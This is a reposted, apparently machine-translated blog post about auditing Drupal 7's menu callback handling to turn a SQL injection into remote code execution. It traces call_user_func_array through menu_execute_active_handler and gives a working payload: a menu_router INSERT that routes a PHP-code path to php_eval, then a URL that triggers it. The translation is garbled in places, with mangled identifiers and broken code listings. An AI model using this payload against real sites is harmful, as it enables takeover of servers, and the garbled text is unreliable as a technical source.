Hacking Book | Free Online Hacking Learning


drupal's callback nightmare

Posted by chiappelli at 2020-02-24


A few days ago, a Drupal SQL injection vulnerability was exploded, but this vulnerability is not only as simple as SQL injection, but also can be used to rce. Se also mentioned it on twitter, but didn't give details. However, when I look at it again today, I find that the exp of remote code execution has been released, so I won't hide it. It's the product of my first code audit to record the mining process.

Se refers to rce caused by Drupal's callbacks. Then the audit point is on the callback. A built-in function in PHP, call ﹣ user ﹣ func ﹣ array, can do this. The parameters accepted are as follows:

call_user_func_array ( callable $callback , array $param_arr )

The first parameter is the name of the function, and the second is the parameter of the parameter to be called. With these features, you can implement Drupal's various fancy getshells. I only audit one, there are many ways not to achieve (after all, slag can not see).


Drupal has a feature that allows administrators to add PHP tags to write articles, called PHP filter. This feature is off by default. Of course, because PDO can execute multiple lines of SQL statements, we can directly add management users and log in, open the module of PHP filter, publish articles, and finally get shell. It's also easy to automate, which is to combine all executed SQL statements from opening PHP filter to publishing as a payload, and finally get shell. I've done POC of this idea, but it's too tedious. Finally, payloads come out for a long time, not elegant at all, and they don't take advantage of the characteristics of callback. In order to drill a bull's horn, let's audit how to get a fancy getshell. As mentioned above, PHP filter is a feature that can execute PHP code. The file where PHP filter is located is / modules / PHP / php.module


function php_eval($code) {




  print eval('?>' . $code);

  $output = ob_get_contents();


  $theme_path = $old_theme_path;

  return $output;


This function is used to execute custom PHP code.


For the audit tool, I find and grep the file directly, and use phpstorm + ideavim (plugin of phpstorm) to track the function. It's easy and pleasant. We are sure that we want to find the function call ﹣ user ﹣ func ﹣ array, and use the following command to find it:

cd /var/www/html/drupal

find . -type f -name "*" | xargs grep call_user_func_array

In fact, we can further narrow the scope, because the first function is the function we call, and if we want to make use of it, we need to control the first parameter of the function, so we can further narrow the scope:


find . -type f -name "*" | xargs grep call_user_func_array\(\\$ | grep -v ". '_'"

The results are as follows:

Next, we'll look at the context to see where we can control that variable. After checking one by one, I navigate to the menu menu execute active handler function in / include / menu.inc.

/include/menu.inc menu_execute_active_handler

























function menu_execute_active_handler($path = NULL, $deliver = TRUE) {

    $page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE;

    $read_only_path = !empty($path) ? $path : $_GET['q'];

    drupal_alter('menu_site_status', $page_callback_result, $read_only_path);

    if ($page_callback_result == MENU_SITE_ONLINE) {

      if ($router_item = menu_get_item($path)) {

        if ($router_item['access']) {

          if ($router_item['include_file']) {

            require_once DRUPAL_ROOT . '/' . $router_item['include_file'];


          $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);


        else {

          $page_callback_result = MENU_ACCESS_DENIED;



      else {

        $page_callback_result = MENU_NOT_FOUND;




As you can see from reading, we can control the parameter $'Get ['q '], and then enter the function menu'get'item. The core code of this function is here:

$_GET['q'] menu_get_item

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if (!isset($router_items[$path])) {   if (variable_get('menu_rebuild_needed', FALSE) || !variable_get('menu_masks', array())) {     menu_rebuild();   }   $original_map = arg(NULL, $path);   $parts = array_slice($original_map, 0, MENU_MAX_PARTS);   $ancestors = menu_get_ancestors($parts);   $router_item = db_query_range('SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC', 0, 1, array(':ancestors' => $ancestors))->fetchAssoc();   if ($router_item) {     drupal_alter('menu_get_item', $router_item, $path, $original_map);     $map = _menu_translate($router_item, $original_map);     $router_item['original_map'] = $original_map;     if ($map === FALSE) {       $router_items[$path] = FALSE;       return FALSE;     }     if ($router_item['access']) {       $router_item['map'] = $map;       $router_item['page_arguments'] = array_merge(menu_unserialize($router_item['page_arguments'], $map), array_slice($map, $router_item['number_parts']));       $router_item['theme_arguments'] = array_merge(menu_unserialize($router_item['theme_arguments'], $map), array_slice($map, $router_item['number_parts']));     }   } 在 menu_router 里查询我们输入的$_GET['q'],然后从返回所有字段。接着回到menu_execute_active_handler函数。

$_GET['q'] menu_execute_active_handler

if ($router_item['include_file']) {

      require_once DRUPAL_ROOT . '/' . $router_item['include_file'];


Here, take the include file from the router item and use require once to include it. This is a point, because Drupal does not turn on PHP filter by default. If it's included here, you don't need to turn on PHP filter. Next, take out the page call in the router item and carry it into call user func array for execution. So far the whole process is clear to us. Note that the first parameter of page_arguments is executed, and the first parameter is the value of $_get ['q '].

router_item include_file require_once router_item page_callback call_user_func_array page_arguments $_GET['q']


Let's test it. First, execute the statement in the database:

insert into menu_router (path,  page_callback, access_callback, include_file) values ('<?php phpinfo();?>','php_eval', '1', 'modules/php/php.module');

Then visit Q =% 3C? PHP% 20phpinfo();?% 3E.;?%3E


Exp has been released on beebeebeto. The address is poked at me. I just wrote a Book of praise and masturbated.

======Copyright line======

Original author: zhichuangyu ricter